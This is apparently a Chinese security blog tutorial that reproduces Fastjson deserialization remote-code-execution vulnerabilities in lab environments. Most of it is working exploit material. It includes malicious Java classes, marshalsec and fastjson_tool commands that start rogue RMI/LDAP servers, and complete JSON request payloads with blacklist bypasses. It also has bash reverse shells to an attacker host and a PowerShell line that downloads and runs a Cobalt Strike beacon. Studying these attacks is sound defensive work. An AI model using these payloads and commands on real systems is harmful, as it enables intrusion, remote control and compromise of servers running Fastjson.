本篇文章是Fastjson框架漏洞复现,记录了近几年来爆出的Fastjson框架漏洞,主要分为四个部分:Fastjson简介、Fastjson环境搭建、Fastjson漏洞复现、Fastjson工具介绍。
本篇文章由浅入深地介绍了Fastjson的一系列反序列化漏洞,基于RMI或LDAP方式反序列化漏洞利用对Fastjson进行RCE。在学习Fastjson过程中阅读了几十篇中英文Fastjson相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Fastjson框架渗透学习!!
一、Fastjson简介
Fastjson
是Java
语言编写的高性能开源JSON
解析库,由阿里巴巴开发,用于将Java
对象转化为JSON
格式字符串,也可以将JSON
格式字符串转化为等价的Java
对象,Fastjson
可以处理任意Java
对象,包括没有源代码的已存在对象。具有以下几个特点:
速度快
广泛使用
测试完备
使用简单
功能完备
JNDI
JNDI (Java Naming and Directory Interface)
是一组应用程序接口,提供了查找和访问命名和目录服务的通用、统一的接口,用于定位网络、用户、对象和服务等资源,是J2EE
规范中是重要的规范之一。(可以理解为JNDI
在J2EE
中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找)
JNDI
底层支持RMI
远程对象,JNDI
接口可以访问和调用RMI
注册过的服务。
JNDI
根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI
RMI
RMI (Remote Method Invocation)
是专为Java环境设计的远程方法调用机制,远程服务器提供API
,客户端根据API
提供相应参数即可调用远程方法。由此可见,使用RMI
时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。
LDAP
LDAP(Lightweight Directory Access Protocol)
是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议
JNDI注入
在JNDI
服务中,RMI
服务端除了直接绑定远程对象,还可以通过References
类绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定Reference
后,服务端先利用Referenceable.getReference()
方法获取绑定对象的引用,并且在目录中保存。当客户端使用lookup()
方法查找该远程对象时,会返回ReferenceWrapper
类的代理文件,接着调用getReference()
获取Reference
类,获取到相应的object factory
,最终通过factory
类将reference
转换为具体的对象实例。
从ReferenceWrapper
源码中也可以发现该类继承自UnicastRmoteObject
,实现对Reference
进行包裹,使得Reference
类能够通过RMI
服务进行远程访问
上面介绍了整个加载过程,则攻击利用流程如下:
1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name
3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果
参考:深入理解JNDI注入与Java反序列化漏洞利用 – 博客 – 腾讯安全应急响应中心
二、搭建Fastjson
1、IDEA下载
进入官网选择Community
社区版即可
IDEA下载地址:https://www.jetbrains.com/idea/download/#section=windows
2、IDEA安装
1)双击安装程序
安装路径等默认,下一步
2)安装选项
如图勾上,默认下一步(会出现一个小警示,直接确认跳过即可)
3)打开x64版本的IDEA
,选择免费30天
选择continue
安装完成
3、安装JDK1.8
默认安装,一直下一步即可
4、IDEA创建新项目
启动IDEA x64
,选中刚刚装好JDK1.8u161
版本,点击NEXT
,填写项目名称后即可创建成功
第一次创建项目较慢,等待片刻
5、导入Fastjson的jar包
下载地址:https://mvnrepository.com/artifact/com.alibaba/fastjson
1)选择1.2.24版本进行下载
2)创建目录FJ(随意命名)
3)复制fastjson-1.2.24.jar
包至刚刚创建的目录下
4)前往目录结构选项中
5)在Module
中导入模块,在Dependencies
中点击加号,选择第一项
6)选则刚刚导入的jar包,确认即可
6、创建fastjson简单项目
创建java class,内容如下
import com.alibaba.fastjson.JSON; public class FJdemo { public static void main(String[] args){ User user = new User(); user.setName("小明"); user.setAge(18); String jsonStr = JSON.toJSONString(user); System.out.printf(jsonStr); } }
创建User类
private String name; private Integer age; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + '}'; }
点击run,执行FJdemo的main函数
三、漏洞复现
以复现操作为主,底层原理解析见后面的文章
1、Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)
0x01 简介
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本:Fastjson版本小于1.2.25
一些注意点:
反序列化常用的两种利用方式:基于RMI和基于LDAP。RMI指的是JAVA的远程方法调用,LDAP是轻量级目录访问协议。
JAVA版本限制:
基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码
基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载
0x02 靶场环境
使用vulhub
靶场进行复现,搭建命令如下
cd vulhub/fastjson/1.2.24-rce
sudo docker-compose up -d
靶场IP: 192.168.112.141
查看靶场容器信息
sudo docker ps
进入容器内查看java版本
sudo docker exec -it 9599ad4b7cec bash
访问靶场网址
成功搭建完成~
0x03 复现过程
分析:靶场环境为Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,可以使用com.sun.rowset.JdbcRowSetImpl
利用链结合JNDI注入执行远程命令
先安装Java8u20版本,下面提供便捷代码,将现有的Java删除并安装上Java8u20版本(配合快照使用)
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
1)编译恶意类代码
创建文件名为evilclass.java
的文件
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac
编译
javac evilclass.java
2)下载marshalsec
工具
marshalsec工具用于开启RMI服务器
下载地址:https://github.com/mbechler/marshalsec
git clone https://github.com/mbechler/marshalsec.git
3)安装maven
apt-get install maven
4)使用maven编译marshalsec成jar包
mvn clean package -DskipTests
5)搭建启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999
6)BurpSuite抓包改包
POST / HTTP/1.1
Host: 192.168.112.141:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.146:9999/evilclass",
"autoCommit":true
}
}
已经发送了evilclass文件
前往靶场容器内,成功执行命令创建test文件
0x04 Linux反弹shell
将上面的java代码中的执行命令改为反弹shell的命令,其余步骤相似
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
进行javac
编译,Burpsuite
抓包改包发包
成功监听到反弹shell
2、Fastjson1.2.24 反序列化漏洞RCE(自建win靶场拓展研究)
0x01 简介
上面复现是在Linux系统中,通过Vulhub搭建的fastjson靶场进行复现,本节通过自建spring+fastjson漏洞环境,深入研究fastjson反序列化漏洞,先开始搭建过程
0x02 环境搭建 Spring+Fastjson
1)创建Spring项目
搭建Spring框架
第一次部署较久
2)导入fastjson包
这次使用dependency的方式导入,将提供的dependency代码添加至porn.xml
中,刷新载入即可
3)创建java类 – 路由解析控制器
创建controller.Login.java
,用于解析请求的路由控制器
@Controller
public class Login {
@RequestMapping(value = "/fastjson", method = RequestMethod.POST)
@ResponseBody
public JSONObject test(@RequestBody String data) {
JSONObject obj = JSON.parseObject(data);
JSONObject result = new JSONObject();
result.put("code", 200);
result.put("message", "success");
result.put("data", "Hello " + obj.get("name"));
return result;
}
}
报错后面解决
4)创建model.User.java用户类,包含一些属性用于fastjson与数据对应解析
public class User {
public String name;
public int age;
public String id_card;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age; }
public void setAge(int age) {
this.age = age;
}
public String getId_card() {
return id_card;
}
public void setId_card(String id_card) {
this.id_card = id_card;
}
}
5)解决报错问题
一般报错是缺少class,点击Import class
即可
最后添加了一系列的class后,解决了报错问题
6)启动项目
点击右上角的启动
搭建成功
测试发送json数据
curl http://192.168.112.140:8080/fastjson -H "Content-Type: application/json" --data '{"name":"xiaoming", "age":18}'
0x03 复现过程 – 基于LDAP方式的反序列化漏洞利用
win环境下是使用JDK8u161搭建,由于基于RMI的反序列化漏洞需要JDK版本小于8u121,所以这里复现使用LDAP方式
1)编写恶意类代码
public class evilclass {
public evilclass (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
evilclass e = new evilclass();
}
}
或者写法二: (推荐)
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2)javac编译成class
javac evilclass.java
3)开启http服务
python -m SimpleHTTPServer 80
4)使用marshalsec搭建LDAP服务
这里的命令和RMI方式就一处不同
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
5)BurpSuite改包
POST /fastjson HTTP/1.1
Host: 192.168.112.140:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 133
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.112.146:9999/evilclass",
"autoCommit":true
}
经测试,使用RMI方式无法执行远程命令
0x04 上线Cobalt Strike
这部分虽然和上面的类似,但记录详细些,以后用得到
需要准备的东西:
1. Java8u 主要使用javac编译恶意类
2. marshalsec 用于搭建LDAP服务
主机IP信息:
fastjson Win7 192.168.112.140
Kali Linux 192.168.112.146
1)javac编译恶意类class
创建evilclass.java
文件(名字任意,不过要和内容中的类名一致)
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"powershell", "-Command", "(new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
这里的powershell命令意思是到192.168.112.146主机上下载xigua.exe文件并以xigua.exe文件名存储并执行此文件,执行命令后,不出意外的话将直接上线CS
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.146/xigua.exe','xigua.exe');start-process xigua.exe
使用javac编译,无报错即代表成功
2)开启LDAP服务和python的HTTP服务
使用marshalsec工具开启LDAP服务(这里同开启RMI命令类似),开启端口号为9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
开启python2简易http服务
python -m SimpleHTTPServer 80
python -m http.server 80 # python3的命令
3)启动Cobalt Strike及生成木马文件
设置监听器,创建木马上线文件,命名为xigua.exe
,并复制到Kali Linux
上,可以直接通过上面开启的python2的http服务访问得到。
4)BurpSuite抓包修改
POST /fastjson HTTP/1.1
Host: 192.168.112.140:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 133
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.112.146:9999/evilclass",
"autoCommit":true
}
5)成功上线CS
3、Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238)
0x01 简介
Fastjson1.2.24后增加了反序列化白名单,Fastjson中autotype功能允许用户通过@type指定反序列化的类型,在Fastjson1.2.48版本前攻击者可以通过构造特殊的json字符串进行绕过该白名单,进而造成远程命令执行,该漏洞且无需开启autotype即可利用成功。
0x02 环境搭建
依旧使用vulhub靶场
cd vulhub/fastjson/1.2.47-rce
sudo docker-compose up -d
sudo docker ps
0x03 复现操作 – 监听反弹shell
上一个漏洞复现中使用了marshalsec-0.0.3-SNAPSHOT-all.jar
工具搭建RMI/LDAP服务,本次复现中使用另一个工具fastjson_tool.jar
下载地址:https://github.com/wyzxxz/fastjson_rce_tool
1)启动LDAP服务器
使用如下命令,8888端口为LDAP服务端口,后面的命令为反弹shell命令,直接使用该工具提示的payload。
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"
2)访问网站,burpsuite抓包修改
POST / HTTP/1.1
Host: 192.168.112.141:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 189
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}
3)监听反弹shell
nc -lvp 9001
0x04 原理分析
参考:Fastjson <=1.2.47 远程代码执行漏洞分析 – 安全客,安全资讯平台 (anquanke.com)
4、Fastjson1.2.62 漏洞简述
利用方法:
基于黑名单绕过,payload如下
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
5、Fastjson1.2.66 漏洞简述
同样是基于黑名单绕过,搜集到的EXP
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
autotypesupport属性为true才可使用,在1.2.25版本以后该属性默认为false
四、Fastjson渗透工具
本篇文章涉及到两个工具:marshalsec-0.0.3-SNAPSHOT-all.jar
和fastjson_tool.jar
在渗透利用的过程中,本质上都是开启RMI/lDAP服务器发送恶意代码至靶机上,但使用上有所区别,这节稍微总结下这两款工具
1、marshalsec.jar
工具下载地址:GitHub – mbechler/marshalsec
工具JDK版本:JDK8
下载好后需要maven编译成jar包才可使用,在文件目录下执行命令
mvn clean package -DskipTests
工具使用方法如下
1)创建恶意类文件
写法一:
public class evilclass {
public evilclass (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
evilclass e = new evilclass();
}
}
写法二: (推荐)
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2)javac编译成class文件
javac evilclass.java
3)搭建伪造RMI/LDAP服务
前往marshalsec/target
目录,命令开启服务,端口设置为9999
# RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.146/#evilclass" 9999
# LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.146/#evilclass" 9999
4)BP上修改POST包的请求
几个注意点:
-
一开始抓到的包是GET包,需要改变为POST包,右键变更请求方法可以快速切换为POST包
-
Content-Type
需要设置为application/json
-
请求内容根据RMI或者LDAP服务做些细微变动,
POST / HTTP/1.1
Host: 192.168.112.141:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 0
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.146:9999/evilclass",
"autoCommit":true
}
}
LDAP服务修该请求内容即可
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.112.146:9999/evilclass",
"autoCommit":true
}
后记:这款工具功能还是挺强的,限于笔者我实力较菜,更多的功能参考百度或等我后续变强再来更新
2、fastjson_rce_tool
工具下载地址:GitHub – wyzxxz/fastjson_rce_tool: fastjson命令执行自动化利用工具
这款工具相较于上一个工具更加便捷、自动化,下载好后无需maven编译,也不用自己创建java恶意类代码,直接根据工具提供的payload进行测试攻击,上手容易,使用容易,新手推荐这个~~
简单介绍几个功能,更多功能参考工具下载地址或百度
测试环境:
Vulhub Ubuntu 192.168.112.141
Kali Linux 192.168.112.146
0x01 结合dnslog.cn测试远程代码是否可执行
1)生成dnslog.cn的子域名
8067nw.dnslog.cn
2)搭建LDAP服务器
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "curl 8067nw.dnslog.cn"
3)BP改包
将上面提供的payload写入POST请求中
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.112.146:8888/Object","autoCommit":true}}
4)到dnslog.cn上查看靶机是否执行了curl命令
可以发现靶机成功执行了curl命令,说明存在RCE漏洞
0x02 反弹shell及其他
操作方法类似,就是将命令更改为反弹shell的命令
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.112.146 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.112.146/9001 0>&1"
小结:这里的命令部分相当于marshalsec工具中的自己写的恶意类中的可执行命令部分,只是fastjson_rce_tool简化了操作,我们只要提供命令执行参数即可,适合小白~
更多的操作及命令可自行拓展或者去工具下载地址查看
五、总结
注意JDK的版本,基于不同方式的反序列化攻击有不同的限制,否则会使得攻击无效
IDEA搭建Fastjson框架时有两种导入包的方式,一种是手动创建目录导入,一种是在porn.xml中插入代码,刷新自动导入,推荐后面一种
工具涉及到两种,一个是marshalsec,另一个是fastjson_rce_tool,推荐新手先使用第二个工具,上手较容易
六、参考
alibaba/fastjson: A fast JSON parser/generator for Java.
Maven Repository: com.alibaba » fastjson
mbechler/marshalsec (github.com)
GitHub – wyzxxz/fastjson_rce_tool
来源:freebuf.com 2021-07-03 19:43:47 by: Kr1pt0
请登录后发表评论
注册